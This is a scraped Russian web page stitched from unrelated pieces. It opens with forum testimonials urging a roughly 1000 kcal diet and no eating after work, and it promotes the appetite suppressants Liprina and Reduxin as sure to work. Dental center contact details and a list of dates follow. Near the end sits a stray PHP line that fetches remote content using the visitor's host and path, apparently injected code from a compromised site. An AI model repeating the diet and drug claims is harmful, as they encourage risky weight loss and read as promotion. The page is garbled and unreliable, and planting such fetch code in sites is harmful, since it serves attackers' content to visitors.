Можешь похудеть за месяц если будешь употреблять в день не более 1000 ккал, и тратить 800 ккал, это должна быть грамотно рассчитанное питание (не диета) . Я например худела так. Покупала морскую камусту (салат по корейски) , т. к. я работаю 9 часов я ее ела в обед, в ней 18 ккал (250 грамм) + пила чай зеленый без сахара. Но утром я ела салат капуста + морковка+лук заправленный оливковым маслом и ела бульончик с кусочками мяса без соли и приправ. Приходя домой в 6 я принимала Липрину (от нее чувство насыщения) , и не ела вообще до утра. Вот так я за 2 недели похудела на 3 кг. Только смотрите если будете так питаться то рацион должен быть разнообразным, но без жиров, животного происхождения, вкусняшек, майонеза, хлеба, алкоголя и т. д. и железное правило после работы не есть! Пейте Липрину она вам поможет справиться с голодом 100%!

Я к стати тоже похудела на Липрине, хотя я наверное и не толстая, но мне все равно не устраивает постоянно моя фигура. Я весила 55,сейчас вешу 45,на Липрине я похудела за 2 месяца. Думаю если уж мне получилось так похудеть то и вам подавно=)

А мне как и мноним помогли редуксин лайт и редуксин лайт усиленная формула. Пила два месяца, чувствовала и чувствую себя отлично, настроение хорошее, аппетит стал гораздо меньше и сладкого больше не поглощаю много.

Как похудеть что нужно кушать
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта